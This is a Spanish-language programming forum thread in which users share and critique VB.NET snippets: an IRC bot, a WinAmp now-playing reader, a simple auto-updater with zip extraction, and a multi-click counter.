IRC_Writer.WriteLine(String.Format("NICK {0}", NickName))
' Join Room
Write("Joining Room...", ConsoleColor.Yellow)
IRC_Writer.WriteLine(String.Format("JOIN {0}", Channel))
' Check Ident connection
Write("Checking Ident connection...", ConsoleColor.Yellow)
Ident_Listener = New Net.Sockets.TcpListener(Net.IPAddress.Any, 113)
Ident_Listener.Start()
Ident_Client = Ident_Listener.AcceptTcpClient
Ident_Listener.Stop()
Ident_NetworkStream = Ident_Client.GetStream
Ident_Reader = New IO.StreamReader(Ident_NetworkStream)
Ident_ResponseString = Ident_Reader.ReadLine
Write("Ident got: " & Ident_ResponseString, ConsoleColor.Cyan)
Ident_Writer = New IO.StreamWriter(Ident_NetworkStream)
If Not Ident_Writer.AutoFlush Then Ident_Writer.AutoFlush = True
Ident_Writer.WriteLine(String.Format("{0} : USERID : WINDOWS 7 : {1}", Ident_ResponseString, UserName))
' Read messages
Write("Reading messages...", ConsoleColor.Yellow)
Elapsed_Time.Start()
While True
' Sum the total received messages
Total_Messages += 1
' Get the IRC line to read
Line = IRC_Reader.ReadLine
' Print the IRC line
Write(Line, ConsoleColor.Gray)
' Get User Name
Try : Name = Line.Split("!").First.Substring(1, Line.Split("!").First.Length - 1)
Catch : Name = Nothing
End Try
' Get User IP
Try : IP = Line.Split(" ").First.Split("/").Last.Replace("ip.", "")
Catch : IP = Nothing
End Try
' Get User Command
Try : Command = Line.Split(" ")(3).Substring(1, Line.Split(" ")(3).Length - 1).ToLower
Catch : Command = Nothing
End Try
' Get the command argument
Try : Argument = Line.Split(" ")(4)
Catch : Argument = Nothing
End Try
' IRC Ping-Pong
if line.tolower.startswith("ping") then
Write("Answering Ping with Pong...", ConsoleColor.Yellow)
Write("PONG " & Line, ConsoleColor.Cyan)
IRC_Writer.WriteLine("PONG " & Line)
end if
' Parse commands
Select Case Command
' Help
Case "!?", "!ayuda"
If Line.ToLower.Contains(Channel.ToLower) Then
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} ", Name, "[+] Comandos públicos:"))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!? | !ayuda ", "Muestra esta ayuda."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!reglas ", "Muestra las reglas de la sala."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!reglasehn ", "Muestra las reglas de ElHacker.Net."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!status ", "Muestra el estado del Bot."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!Whois (IP) ", "Muestra información geográfica de una IP."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} ", Name, "[+] Comandos privados:"))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!op ", "Te otorga el estado de OP."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!op(+|-) (NOMBRE)", "Otorga o elimina el estado de OP a un usuario."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!bot (ON|OFF) ", "Activa o Desactiva el Bot."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!q | !quit ", "Desconecta al Bot."))
End If
' Room Rules
Case "!reglas"
If Line.ToLower.Contains(Channel.ToLower) Then
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "[+] Reglas de " & Channel))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "1. Respetar a los usuarios y no ofender de ninguna manera."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "2. No preguntar como puedes hackear a personas ajenas."))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "3. No compartir material pornográfico o difundir la pederástia o cosas parecidas."))
End If
' EHN Rules
Case "!reglasehn"
If Line.ToLower.Contains(Channel.ToLower) Then
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "[+] Reglas de ElHacker.Net: http://foro.elhacker.net/reglas"))
End If
' Geo-Locate IP
Case "!whois"
'If Line.ToLower.Contains(Channel.ToLower) Then _
'AndAlso Activated Then
'Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate(Argument)
'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "[+] Información geográfica de ", Argument))
'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "País..:", GeoInfo.Country))
'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Ciudad:", GeoInfo.City))
'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Código:", GeoInfo.Code))
'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Host..:", GeoInfo.Host))
'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Ip....:", GeoInfo.Ip))
'GeoInfo = Nothing
' End If
' Give own OP+
Case "!op"
If Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) _
AndAlso Activated Then
IRC_Writer.WriteLine(String.Format("MODE {0} +o {1}", Channel, Name))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "se ha convertido en OP."))
ElseIf Not Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) _
AndAlso Activated Then
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para ser OP."))
End If
' Give Op+ to a user
Case "!op+"
If Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) _
AndAlso Activated Then
IRC_Writer.WriteLine("MODE {0} +o {1}", Channel, Argument)
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2} {3}", Channel, Name, "concedió OP a", Argument))
ElseIf Not Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) _
AndAlso Activated Then
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para conceder OP."))
End If
' Give Op- to a user
Case "!op-"
If Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) _
AndAlso Activated Then
IRC_Writer.WriteLine("MODE {0} -o {1}", Channel, Argument)
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2} {3}", Channel, Name, "denegó OP a", Argument))
ElseIf Not Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) _
AndAlso Activated Then
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para denegar OP."))
End If
' Bot ON/OFF
Case "!bot"
If Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) Then
Select Case Argument.ToLower
Case "on"
Activated = True
Write("Bot status changed to: Enabled", ConsoleColor.Cyan)
Case "off"
Activated = False
Write("Bot status changed to: Disabled", ConsoleColor.Cyan)
End Select
ElseIf Not Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) Then
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios de OP."))
End If
' Bot Status
Case "!status"
If Line.ToLower.Contains(Channel.ToLower) Then
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} ", Name, "[+] Status del Bot"))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Soy propiedad de......:", "Elektro-H"))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Versión de mi sistema.:", "0.2"))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Tiempo total online...:", Elapsed_Time.Elapsed.Hours & " H, " & Elapsed_Time.Elapsed.Minutes & " M, " & Elapsed_Time.Elapsed.Seconds & " S"))
IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Mensajes procesados...:", Total_Messages))
End If
' Quit
Case "!q", "!quit"
If Gods.Contains(Name) _
AndAlso Line.ToLower.Contains(Channel.ToLower) _
AndAlso Activated Then
IRC_Writer.WriteLine("QUIT")
Write("Exiting...", ConsoleColor.Yellow)
Exit Sub
End If
End Select
End While
Catch ex As Exception
Write("Error: " & ex.Message, ConsoleColor.Red)
IRC_Writer.WriteLine("QUIT")
Finally
IRC_Reader.Dispose()
IRC_Writer.Dispose()
Network_Stream.Dispose()
End Try
End Sub
Private Shared Sub Write(ByVal Text As String, _
Optional ByVal ForeColor As System.ConsoleColor = ConsoleColor.White, _
Optional ByVal BackColor As System.ConsoleColor = ConsoleColor.Black)
Dim Current_ForegroundColor As ConsoleColor = Console.ForegroundColor
Dim Current_BackgroundColor As ConsoleColor = Console.BackgroundColor
Console.ForegroundColor = ForeColor
Console.BackgroundColor = BackColor
Console.WriteLine(Text & vbNewLine)
Console.ForegroundColor = Current_ForegroundColor
Console.BackgroundColor = Current_BackgroundColor
End Sub
End Class
Muy buen code, y las captchas? :rolleyes:
Cita de: Ikillnukes en 20 Junio 2013, 20:45 PMy las captchas? :rolleyes:
El captcha te lo pide la web de freenode, no el protocolo IRC.
no es necesario, pruébalo xD...
Cita de: EleKtro H@cker en 20 Junio 2013, 21:38 PM
El captcha te lo pide la web de freenode, no el protocolo IRC.
no es necesario, pruébalo xD...
Okey, gracias :)
Obtener en WinAmp el título o la ruta del archivo de la canción actual.
PD: Son códigos de VB6 que convertí a .NET (no todo...) con algo de ayuda.
#Region " WinAmp Info"
' [ WinAmp Info ]
'
' // By Elektro H@cker
'
' Examples:
' MsgBox(WinAmp.Get_Title) ' Result: Artist - Title
' MsgBox(WinAmp.Get_FileName) ' Result: C:\Title.ext
Public Class WinAmp
Private Const WinampClassName As String = "Winamp v1.x"
Private Declare Auto Function FindWindow Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr
Private Declare Auto Function GetWindowText Lib "user32" (ByVal hwnd As IntPtr, ByVal lpString As String, ByVal cch As Integer) As Integer
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, ByRef lpdwProcessId As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByRef lpBuffer As Byte, ByVal nSize As Long, ByRef lpNumberOfBytesRead As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Shared Function Get_Title() As String
Dim hwnd As IntPtr = FindWindow(WinampClassName, vbNullString)
Dim lpText As String = String.Empty
Dim strTitle As String = String.Empty
Dim intLength As Integer = 0
Dim intName As Integer = 0
Dim intLeft As Integer = 0
Dim intRight As Integer = 0
Dim intDot As Integer = 0
If hwnd.Equals(IntPtr.Zero) Then Return "WinAmp is not running"
lpText = New String(Chr(0), 100)
intLength = GetWindowText(hwnd, lpText, lpText.Length)
If (intLength <= 0) _
OrElse (intLength > lpText.Length) _
Then Return "Unknown"
strTitle = lpText.Substring(0, intLength)
intName = strTitle.IndexOf(" - Winamp")
intLeft = strTitle.IndexOf("[")
intRight = strTitle.IndexOf("]")
If (intName >= 0) _
AndAlso (intLeft >= 0) _
AndAlso (intName < intLeft) _
AndAlso (intRight >= 0) _
AndAlso (intLeft + 1 < intRight) _
Then Return strTitle.Substring(intLeft + 1, intRight - intLeft - 1)
If (strTitle.EndsWith(" - Winamp")) _
AndAlso (strTitle.Length > " - Winamp".Length) _
Then strTitle = strTitle.Substring(0, strTitle.Length - " - Winamp".Length)
intDot = strTitle.IndexOf(".")
If (intDot > 0) _
AndAlso (IsNumeric(strTitle.Substring(0, intDot))) _
Then strTitle = strTitle.Remove(0, intDot + 1)
Return strTitle.Trim
End Function
Public Shared Function Get_FileName() As String
Dim lp As Long, lpWinamp As Long, iIndex As Long, PID As Long, bRet As Long, dwRead As Long
Dim Buffer(260) As Byte
Dim hWndWinamp As IntPtr = FindWindow(WinampClassName, vbNullString)
If hWndWinamp = 0 Then Return Nothing
iIndex = SendMessage(hWndWinamp, &H400, 0, 125)
lp = SendMessage(hWndWinamp, &H400, iIndex, 211)
If lp = 0 Then Return Nothing
Call GetWindowThreadProcessId(hWndWinamp, PID)
lpWinamp = OpenProcess(&H10, 0, PID)
If lpWinamp = 0 Then Return Nothing
bRet = ReadProcessMemory(lpWinamp, lp, Buffer(0), 260, dwRead)
Call CloseHandle(lpWinamp)
Return System.Text.UnicodeEncoding.Default.GetString(Buffer)
End Function
End Class
#End Region
Syntax le haría falta uno de SoundCloud, porque no le damos una sorpresa entre los dos? :silbar:
Cita de: Ikillnukes en 22 Junio 2013, 20:29 PMSyntax le haría falta uno de SoundCloud, porque no le damos una sorpresa entre los dos? :silbar:
Se le dieron las herramientas necesarias, es fácil usar RegEx, solo tiene que mostrar sus progresos intentando hacer el code y...
Saludos
Y el code que le presté yo no servía? Por ahí leí como obtener el contenido de un atributo. En ese caso era innerHTML, y luego de como seleccionar dicha variable, con un GetElementByClassName :silbar:
No se hubiese podido hacer así, es que bueno, también el lo probó, pero no iba, ya no se si era, porque el code que le había pasado no obtenía el contenido de susodicho Class de Html, o porque realmente si lo obtenía pero no coincidía el nombre del Class.
Cita de: Ikillnukes en 22 Junio 2013, 20:54 PMY el code que le presté yo no servía?
Si, se puede parsear el XML usando RegEx o usando las classes de .net para estructurar los documentos xml,
ahora ...yo no probé tu código, los NODOS XML y yo no nos llevamos muy bien.
Saludos!
;D ;D ;D
xD XML es incompatible contigo xD
En fín, dentro de un poco posteo un Updater que estoy haciendo. :P
Pues me precisa hacer doble post, si lo quieres unir hallá tu... :rolleyes:
Pos bueno aquí os traigo un updater que he hecho en
3 mins. :laugh:
'Updater creado por Ikillnukes
' Ejemplos: Updater.Comprobar("https://dl.dropboxusercontent.com/s/2iin21gf8g629j9/upt.txt?dl=1", ".\Temp\", "1")
'La url puede ser de cualquier tipo yo recomiendo que uséis Dropbox, puesto que es directo y la url no sufre cambios.
'El directorio puede ser cualquier sitio
'El texto es la cadena que se va a comprobar, en caso de que no sea la misma que la del texto descargado previamente en Updatear, se va a llevar a acabo la funcion Updatear
Imports System.Net
Imports System.IO
Imports System.Diagnostics
Public Class Updater
Public Shared Sub Comprobar(ByVal url As String, ByVal directorio As String, ByVal texto As String)
Dim patha As String = directorio & "upt.txt"
Dim patha2 As String = directorio & "Update.zip"
Dim patha3 As String = directorio & "upt.exe"
If File.Exists(patha) Then
File.Delete(patha)
End If
If File.Exists(patha2) Then
File.Delete(patha2)
End If
If File.Exists(patha3) Then
File.Delete(patha3)
End If
If Not File.Exists(patha) Then
My.Computer.Network.DownloadFile(
url,
patha)
End If
If File.Exists(patha) Then
Dim lines As String() = File.ReadAllLines(patha)
If Not lines(0) = texto Then
If MsgBox("¡Atención! Su aplicación está desactualizada." & vbCrLf & "Pulse ""Sí"" para continuar con la instalación. O ""No"" para descartar cambios.", MsgBoxStyle.YesNo, "¡Atención! Su app está desactualizada...") = MsgBoxResult.Yes Then
My.Computer.Network.DownloadFile(
lines(1),
patha2)
Extraer.Extraer(patha2, directorio)
Dim psi As New ProcessStartInfo()
psi.UseShellExecute = True
psi.FileName = patha3
Process.Start(psi)
Application.Exit()
End If
End If
End If
End Sub
End ClassBueno, pues aquí dejo para que se compruebe cada X secs la app si está a la última:
'Casi todas las cosas que hay aquí son conocimientos adquiridos gracias a Elektro, GRACIAS TÍO :D
Dim url As String = "https://dl.dropboxusercontent.com/s/2iin21gf8g629j9/upt.txt?dl=1" 'Esta es la Url de donde va a comprobarse todo
Dim texto As String = INI_Manager.Load_Value(".\Test.ini", "AppVer") 'Aquí está la cadena de texto que se chekea
Sub Updatear() 'Función de updatear, me estoy pasando un poco con los comentarios no? xD
Updater.Comprobar(url, ".\Temp\", texto)
End Sub
Dim WithEvents temer As New System.Windows.Forms.Timer With {.Interval = 15000, .Enabled = True} 'Aquí se define el Timer y sus properties dinámicamente, cortesía de Elektro, EDITADO :)
Private Sub Temer_Start(sender As Object, e As EventArgs) Handles temer.Tick
Updatear() 'Aquí se chekea cada 15 secs esa función
End Sub
Por último, como deberíais poner el archivo de texto, para que se compruebe correctamente todo:
Citar1
https://dl.dropboxusercontent.com/s/z8tzsxlyk5z4gdp/Pack%20de%20mods%20Falso.zip?dl=1
Explicación:
Citar1 #Es la String a comprobar#
https://dl.dropboxusercontent.com/s/z8tzsxlyk5z4gdp/Pack%20de%20mods%20Falso.zip?dl=1 #Es el link que se va a descargar en caso de Update, es decir que aquí debería ir la app con la Update#
Bueno, pues para la próxima versión, le voy a poner un
Download Async para que cuando se descargue la
Update se pueda ver en un
Progress Bar para ver el progreso de la descarga.
Por si no fuera poco, para superarme, voy a hacer una
mini-app, para subir paquetes de
Updates de las
apps que hagáis con
DropNet, para que solo tengáis que darle a un botón y vuestros usuarios estén a la última.
Un saludo.Que os parece?PD: Tengo una duda... El
"temer" sigue activado en los otros
forms? Es que recuerdo que tuve un conflicto con un
Timer en otro
Form y era por que no lo pasaba
Como habréis visto, en un comentario llamo a una función llamada Extraer
aquí os dejo el
Snippet:
'Extractor sacado de por ahí y adaptado por mí
'PD: Solo funciona con .Zips, creo xD
' Ejemplo: Extraer.Extraer("File.zip", ".\Directorio A Extraer\SubDirectorio")
Imports Ionic.Zip
Public Class Extraer
Public Shared Sub Extraer(ByVal ZipAExtraer As String, ByVal DirectorioExtraccion As String)
Try
Using zip1 As ZipFile = ZipFile.Read(ZipAExtraer)
Dim e As ZipEntry
For Each e In zip1
e.Extract(DirectorioExtraccion, ExtractExistingFileAction.OverwriteSilently)
Next
End Using
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
End ClassPor sí queréis
comprimir:
'Compresor sacado de por ahí y adaptado por mí
' Ejemplo: Comprimir.Comprimir(".\Directorio A Comprimir\SubDirectorio", "File Compreso.zip")
Imports Ionic.Zip
Public Class Comprimir
Public Shared Sub Comprimir(ByVal NombreDirectorio, ByVal NombreGuardar)
Using zip As ZipFile = New ZipFile()
zip.AddDirectory(NombreDirectorio)
zip.Save(NombreGuardar)
End Using
End Sub
End ClassPuede que próximamente puede que haga uno para que se pueda comprimir archivo por archivo, aunque va a ser bastante trabajo.... :-\
PD: Se necesita la librería de
Ionic.Zip (http://dotnetzip.codeplex.com/releases/68268/download/258012)
Citar... solamente necesitaremos referenciar a nuestro proyecto la librería que está dentro de la siguiente ruta: "DotNetZipLib-DevKit-v1.9 –> zip-v1.9 –> Debug". La librería a referenciar es la "Ionic.Zip.dll"
Otro
mini-snippet que he sacado de por ahí
(para leer X línea de un Txt):
Dim lines As String() = IO.File.ReadAllLines("archivo.txt")
'Ejemplo: lines(1) 'esto lee la línea 2 del archivo.txt
Cita de: Ikillnukes en 23 Junio 2013, 00:51 AMDim WithEvents temer As System.Windows.Forms.Timer 'Aquí se define el Timer dinámicamente que posteriormente será creado, cortesía de Elektro :)
¿cortesía mía?, ¿seguro?, que yo recuerde nunca te hablé de Timers xD, pero ya que estamos, voy con mi sugerencia...
Fíjate aquí:
Cita de: Ikillnukes en 23 Junio 2013, 00:51 AM
Dim WithEvents temer As System.Windows.Forms.Timer 'Aquí se define el Timer dinámicamente que posteriormente será creado, cortesía de Elektro :)
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
temer = New System.Windows.Forms.Timer 'Aquí se crea finalmente
temer.Interval = 15000 'Aquí los ms que tarda en comprobar si la app está updateada
temer.Start() 'Aquí comienza a contar
End Sub
Esa parte la puedes mejorar, y mucho.
1. Puedes declarar un objeto e instanciarlo al mismo tiempo con "New".
2. Además puedes modificar sus propiedades e inicializarlo (timer.start) con "With".
3. ...Todo en la misma línea, y así el Sub:"Form1_Load" sobraría complétamente.
Aquí tienes:
Public Class Form1
Dim WithEvents temer As New Timer With {.Interval = 15000, .Enabled = True} 'Ahora si que es cortesía de Elektro :)
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
' Nothing to do here
End Sub
End ClassPD: Apréndete estas pequeñas cosas para ahorrar código.
Saludos!
Pues gracias por el comentario, y por lo demás no me dices nada? :P
*Voy a arreglar esto mientras que tu editas el post y miras mi MP*
Por cierto, como arranco el Timer? ;)
PD: Con lo de cortesía me refiero a que tu me enseñaste a crear controles dinámicamente :P
Cita de: Ikillnukes en 23 Junio 2013, 01:22 AMPor cierto, como arranco el Timer? ;)
Al modificar la propiedad enabled a True se "
auto-arranca", porque no lo hemos detenido (stop()) antes de activarlo.
Saludos
*Es verdá tu lo que dice "el" Elektro* ;D
Ok muchas gracias por la info... Entonces, si no mal recuerdo, ese timer va a estar arrancado por los siglos de los sig.... Hasta que una mano inocente le de al botón de cerrar? :xD
Estaría bien que nunca se parase, el virus del Updater de Ikillnukes :xD :xD
Por cierto, y lo demás que me comentas, que opinas, has ido a saco al Timer y no me has comentado nada sobre lo demás. :¬¬ :xD :xD
Cita de: Ikillnukes en 23 Junio 2013, 01:29 AM
Por cierto, y lo demás que me comentas, que opinas, has ido a saco al Timer y no me has comentado nada sobre lo demás. :¬¬ :xD :xD
No tenía nada más que decir al respecto... pero bueno, si quieres algún tipo de opinión... tu lo has querido xD :
1. Aunque no describes las cosas por sus términos correctos al menos hay muchos comentarios, eso es algo de agradecer que siempre me gusta ver en los codes...
2. El mports NET sobra, no lo utilizas en ese código...
3. No me gusta que importes "IO" para evitar escribirlo en 1 instrucción pero en la otra lo sigas escribiendo.
4. Me parece excesivo comprobar cada 15 segundos una actualización del programa :-/, yo lo comprobaría al ejecutar la aplicación y ya está, pero bueno, esto ya...pa gustos colores.
5. Es un code básico, cumple su función, no puedo opinar mucho más sobre el code, y lo otro...bueno, son snippets copiados, así que tampoco puedo opinar..
CitarPD: Tengo una duda... El "temer" sigue activado en los otros forms? Es que recuerdo que tuve un conflicto con un Timer en otro Form y era por que no lo pasaba
...
...Veo que no hemos aprendido nada en todo este tiempo IKillNukes...
Contéstate tu mismo la pregunta: ¿El timer lo instancias en otros forms/classes?
Saludos
Sobre lo del Timer, yo recuerdo que una vez tuve un conflicto en otro Form que no tenía que ver nada con ese Timer, y el caso es que cuando le daba dispose al Form creo que se paraba.... No se ni lo que digo xD
A ver si termino el Updater. :P
Cita de: Ikillnukes en 23 Junio 2013, 11:14 AMen otro Form que no tenía que ver nada con ese Timer,
el caso es que cuando le daba dispose al Form creo que se paraba....
Si haces eso no se para el Timer, diréctamente lo destruyes, ya te expliqué porque...
saludos!
Gracias, entre sarcasmos e ironías no pillaba muy bien a lo que te referias. Agradezco que hayas sido claro. :laugh:
Sobre lo de que 15 secs es excesivo, voy a hacer que el timer se pueda configurar de la manera que tu has dicho, eso ya lo pensé, pero me dije que sería mas hardcore hacer que se comprobase cada X secs. :)
Con tu cortesía has provocado un error :laugh:
CitarError 1 End of statement expected. C:\Users\Alvaro\Documents\IkillLauncher\IkillLauncher\frmMain.vb 31 56 IkillLauncher
Me refiero a esta parte de code:
Dim WithEvents temer As System.Windows.Forms.Timer With {.Interval = 15000, .Enabled = True}
@IKillnukes
Hola
1. No te he dicho nada con sarcasmo, quizás serio si (ya sabes porque), pero sarcasmo no.
Cita de: Ikillnukes en 23 Junio 2013, 15:00 PMCon tu cortesía has provocado un error :laugh:
Dim WithEvents temer As System.Windows.Forms.Timer With {.Interval = 15000, .Enabled = True}
2. Obviamente no puedes modificar las propiedades de un objeto que no has instanciado... vuelve a leer la línea que te puse y copiala tal cual la puse, y luego ya... intenta comprender las cosas y porque tu línea te da error y la mia no.
3. Este hilo es para postear snippets, porfavor no alarguemos más esta conversación con tus dudas, ya están resueltas.
saludos
Ejemplo de como usar la librería "Thresher" para crear un Bot de IRC.
http://thresher.sourceforge.net/
Module Module1
Sub Main()
Dim bot As New IRCBot()
bot.BotStart()
End Sub
Public Class IRCBot
Private conn As Sharkbite.Irc.Connection
Public Sub BotStart()
CreateConnection()
AddHandler conn.Listener.OnRegistered, AddressOf OnRegistered
AddHandler conn.Listener.OnPublic, AddressOf OnPublic
AddHandler conn.Listener.OnPrivate, AddressOf OnPrivate
AddHandler conn.Listener.OnError, AddressOf OnError
AddHandler conn.Listener.OnDisconnected, AddressOf OnDisconnected
End Sub
Public Sub CreateConnection()
Dim server As String = "irc.freenode.net"
Dim nick As String = "Dios"
Sharkbite.Irc.Identd.Start(nick)
Dim cargs As Sharkbite.Irc.ConnectionArgs = New Sharkbite.Irc.ConnectionArgs(nick, server)
conn = New Sharkbite.Irc.Connection(cargs, False, False)
Try
conn.Connect()
Console.WriteLine("Connected to server")
Catch e As Exception
Console.WriteLine("Error during connection process.")
Console.WriteLine(e.ToString)
Sharkbite.Irc.Identd.Stop()
End Try
End Sub
Public Sub OnRegistered()
Try
Sharkbite.Irc.Identd.Stop()
conn.Sender.Join("#elektrohacker")
Console.WriteLine("channel joined")
Catch e As Exception
Console.WriteLine("Error in OnRegistered(): " & e.Message)
End Try
End Sub
Public Sub OnPublic(ByVal user As Sharkbite.Irc.UserInfo, ByVal channel As String, ByVal message As String)
conn.Sender.ChangeTopic(channel, "New topic")
conn.Sender.PrivateMessage(channel, user.Nick & ": " & message)
conn.Sender.PublicMessage(channel, user.Nick & ": " & message)
End Sub
Public Sub OnPrivate(ByVal user As Sharkbite.Irc.UserInfo, ByVal message As String)
If message = "die" Then
conn.Disconnect("Goodbye!")
End If
End Sub
Public Sub OnError(ByVal code As Sharkbite.Irc.ReplyCode, ByVal message As String)
Console.WriteLine("An error of type " + code + " due to " + message + " has occurred.")
End Sub
Public Sub OnDisconnected()
Console.WriteLine("Connection to server closed!")
End Sub
End Class
End Module
Hoy pensé en añadir la funcionalidad de seleccionar todo el texto haciendo triple click sobre un textbox... y he dado con este snippet: http://www.codeproject.com/Articles/23498/A-Simple-Method-for-Handling-Multiple-Clicking-on
Es un contador de clicks, así que se puede utilizar como Triple-Click, o Cuadruple-Click o lo que quieran... xD
Public Class Form1
#Region " Mouse-Click Count "
''' <summary>
''' The Click-Timer area bounds.
''' </summary>
''' <remarks></remarks>
Private ClickArea As Rectangle
''' <summary>
''' The mouse button clicked.
''' </summary>
''' <remarks></remarks>
Private ClickButton As MouseButtons
''' <summary>
''' Accumulate clicks for the Click-Timer.
''' </summary>
''' <remarks></remarks>
Private ClickCount As Int32
''' <summary>
''' Save the Click-Timer double-click delay time (ms).
''' </summary>
''' <remarks></remarks>
Private ClickDelay As Int32 = SystemInformation.DoubleClickTime
''' <summary>
''' String description of the appropriate owner of the Click-Timer expiry event.
''' </summary>
''' <remarks></remarks>
Private ClickOwner As String = ""
''' <summary>
''' Save the Click-Timer double-click area bounds.
''' </summary>
''' <remarks></remarks>
Private ClickSize As Size = SystemInformation.DoubleClickSize
''' <summary>
''' Create a new Click-Timer with events.
''' </summary>
''' <remarks></remarks>
Private WithEvents ClickTimer As New Timer
''' <summary>
''' Click-Timer "Tick" event handler.
''' </summary>
''' <param name="sender">Event object owner.</param>
''' <param name="e">Event arguments.</param>
''' <remarks></remarks>
Private Sub ClickTimer_TickHandler(ByVal sender As Object, ByVal e As EventArgs) Handles ClickTimer.Tick
Me.ClickTimer.Stop()
Me.ClickCount = 0
End Sub
''' <summary>
''' Initialise the Click-Timer with Owner and valid double-click area.
''' </summary>
''' <param name="aOwnerControl">Click-Timer owner control (string).</param>
''' <param name="aMouseButton">Mouse button clicked.</param>
''' <param name="aClickPoint">Click point for definition of the valid double-click area.</param>
''' <remarks></remarks>
Private Sub ClickTimer_Initialise(ByVal aOwnerControl As String, _
ByVal aMouseButton As MouseButtons, _
ByVal aClickPoint As Point)
' Stop the Click-Timer.
Me.ClickTimer.Stop()
' Save the owner control text.
Me.ClickOwner = aOwnerControl
' Save the mouse button.
Me.ClickButton = aMouseButton
' This is the first click.
Me.ClickCount = 1
' Define the valid double-click area for any multi-clicking.
Me.ClickArea = New Rectangle _
(aClickPoint.X - Me.ClickSize.Width \ 2 _
, aClickPoint.Y - Me.ClickSize.Height \ 2 _
, Me.ClickSize.Width, Me.ClickSize.Height)
' Set the system default double-click delay.
Me.ClickTimer.Interval = Me.ClickDelay
' Start the Click-Timer.
Me.ClickTimer.Start()
End Sub
''' <summary>
''' Register a mouse click (or double click) event.
''' </summary>
''' <param name="aOwnerControl">Click-Timer owner control (string).</param>
''' <param name="aMouseButton">Mouse button clicked.</param>
''' <param name="aClickPoint">Click point for definition of the valid double-click area.</param>
''' <remarks></remarks>
Private Sub ClickTimer_Click(ByVal aOwnerControl As String, _
ByVal aMouseButton As MouseButtons, _
ByVal aClickPoint As Point)
' Handle this click event.
If Me.ClickTimer.Enabled Then
' The Click-Timer is going, stop it and check we haven't changed controls.
Me.ClickTimer.Stop()
If Me.ClickOwner = aOwnerControl _
AndAlso Me.ClickButton = aMouseButton _
AndAlso Me.ClickArea.Contains(aClickPoint) Then
' Working with the same control, same button within a valid double-click area so bump the count.
Me.ClickCount += 1
' Set the system default double-click delay.
Me.ClickTimer.Interval = Me.ClickDelay
' Start the Click-Timer.
Me.ClickTimer.Start()
Else
' Not working with the same control. Initialise the Click-Timer.
Me.ClickTimer_Initialise(aOwnerControl, aMouseButton, aClickPoint)
End If
Else
' The timer is not enabled. Initialise the Click-Timer.
Me.ClickTimer_Initialise(aOwnerControl, aMouseButton, aClickPoint)
End If
End Sub
#End Region
